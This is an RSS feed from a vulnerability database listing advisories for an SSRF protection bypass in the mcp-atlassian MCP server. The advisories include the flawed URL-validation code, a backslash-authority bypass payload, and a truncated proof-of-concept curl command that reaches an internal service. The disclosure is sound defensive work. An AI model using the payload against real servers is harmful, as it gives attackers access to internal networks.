<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 01 Oct 2026 23:15:43 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-77274</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-77274</link>
      <description>&lt;p&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-77274</guid>
    </item>
    <item>
      <title>GHSA-hgcf-4mq8-5266 — MCP Atlassian: SSRF Protection Bypass</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-hgcf-4mq8-5266</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;## Environment&lt;/p&gt;
&lt;p&gt;- Project: `sooperset/mcp-atlassian`
- Affected function: `validate_url_for_ssrf()`
- Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint: `POST /mcp`
- Tested version: `2.14.5`&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.&lt;/p&gt;
&lt;p&gt;Affected code:&lt;/p&gt;
&lt;p&gt;```python
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
```&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666\@www.baidu.com
```&lt;/p&gt;
&lt;p&gt;For this input, `urllib.parse.urlparse()` treats the hostname as:&lt;/p&gt;
&lt;p&gt;```text
www.baidu.com
```&lt;/p&gt;
&lt;p&gt;Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
```&lt;/p&gt;
&lt;p&gt;This allows an attacker-controlled Jira URL to target loopback or internal services.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;Start a local HTTP server:&lt;/p&gt;
&lt;p&gt;```bash
python3 -m http.server 6666 --bind 127.0.0.1
```&lt;/p&gt;
&lt;p&gt;Start `mcp-atlassian` with streamable HTTP transport on port `9000`.&lt;/p&gt;
&lt;p&gt;Initialize an MCP session with the malicious Jira URL:&lt;/p&gt;
&lt;p&gt;```bash
curl -i http://127.0.0.1:9000/mcp \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -H &amp;#39;Accept: application/json, text/event-stream&amp;#39; \
  -H &amp;#39;X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com&amp;#39; \…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;## Environment&lt;/p&gt;
&lt;p&gt;- Project: `sooperset/mcp-atlassian`
- Affected function: `validate_url_for_ssrf()`
- Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint: `POST /mcp`
- Tested version: `2.14.5`&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.&lt;/p&gt;
&lt;p&gt;Affected code:&lt;/p&gt;
&lt;p&gt;```python
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
```&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666\@www.baidu.com
```&lt;/p&gt;
&lt;p&gt;For this input, `urllib.parse.urlparse()` treats the hostname as:&lt;/p&gt;
&lt;p&gt;```text
www.baidu.com
```&lt;/p&gt;
&lt;p&gt;Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
```&lt;/p&gt;
&lt;p&gt;This allows an attacker-controlled Jira URL to target loopback or internal services.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;Start a local HTTP server:&lt;/p&gt;
&lt;p&gt;```bash
python3 -m http.server 6666 --bind 127.0.0.1
```&lt;/p&gt;
&lt;p&gt;Start `mcp-atlassian` with streamable HTTP transport on port `9000`.&lt;/p&gt;
&lt;p&gt;Initialize an MCP session with the malicious Jira URL:&lt;/p&gt;
&lt;p&gt;```bash
curl -i http://127.0.0.1:9000/mcp \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -H &amp;#39;Accept: application/json, text/event-stream&amp;#39; \
  -H &amp;#39;X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com&amp;#39; \…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-hgcf-4mq8-5266</guid>
    </item>
    <item>
      <title>PYSEC-2026-4096 — MCP Atlassian: SSRF Protection Bypass</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-4096</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;## Environment&lt;/p&gt;
&lt;p&gt;- Project: `sooperset/mcp-atlassian`
- Affected function: `validate_url_for_ssrf()`
- Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint: `POST /mcp`
- Tested version: `2.14.5`&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.&lt;/p&gt;
&lt;p&gt;Affected code:&lt;/p&gt;
&lt;p&gt;```python
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
```&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666\@www.baidu.com
```&lt;/p&gt;
&lt;p&gt;For this input, `urllib.parse.urlparse()` treats the hostname as:&lt;/p&gt;
&lt;p&gt;```text
www.baidu.com
```&lt;/p&gt;
&lt;p&gt;Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
```&lt;/p&gt;
&lt;p&gt;This allows an attacker-controlled Jira URL to target loopback or internal services.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;Start a local HTTP server:&lt;/p&gt;
&lt;p&gt;```bash
python3 -m http.server 6666 --bind 127.0.0.1
```&lt;/p&gt;
&lt;p&gt;Start `mcp-atlassian` with streamable HTTP transport on port `9000`.&lt;/p&gt;
&lt;p&gt;Initialize an MCP session with the malicious Jira URL:&lt;/p&gt;
&lt;p&gt;```bash
curl -i http://127.0.0.1:9000/mcp \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -H &amp;#39;Accept: application/json, text/event-stream&amp;#39; \
  -H &amp;#39;X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com&amp;#39; \…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: mcp-atlassian&lt;/p&gt;
&lt;p&gt;## Environment&lt;/p&gt;
&lt;p&gt;- Project: `sooperset/mcp-atlassian`
- Affected function: `validate_url_for_ssrf()`
- Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint: `POST /mcp`
- Tested version: `2.14.5`&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.&lt;/p&gt;
&lt;p&gt;Affected code:&lt;/p&gt;
&lt;p&gt;```python
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
```&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666\@www.baidu.com
```&lt;/p&gt;
&lt;p&gt;For this input, `urllib.parse.urlparse()` treats the hostname as:&lt;/p&gt;
&lt;p&gt;```text
www.baidu.com
```&lt;/p&gt;
&lt;p&gt;Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:&lt;/p&gt;
&lt;p&gt;```text
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
```&lt;/p&gt;
&lt;p&gt;This allows an attacker-controlled Jira URL to target loopback or internal services.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;Start a local HTTP server:&lt;/p&gt;
&lt;p&gt;```bash
python3 -m http.server 6666 --bind 127.0.0.1
```&lt;/p&gt;
&lt;p&gt;Start `mcp-atlassian` with streamable HTTP transport on port `9000`.&lt;/p&gt;
&lt;p&gt;Initialize an MCP session with the malicious Jira URL:&lt;/p&gt;
&lt;p&gt;```bash
curl -i http://127.0.0.1:9000/mcp \
  -H &amp;#39;Content-Type: application/json&amp;#39; \
  -H &amp;#39;Accept: application/json, text/event-stream&amp;#39; \
  -H &amp;#39;X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com&amp;#39; \…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-4096</guid>
    </item>
  </channel>
</rss>
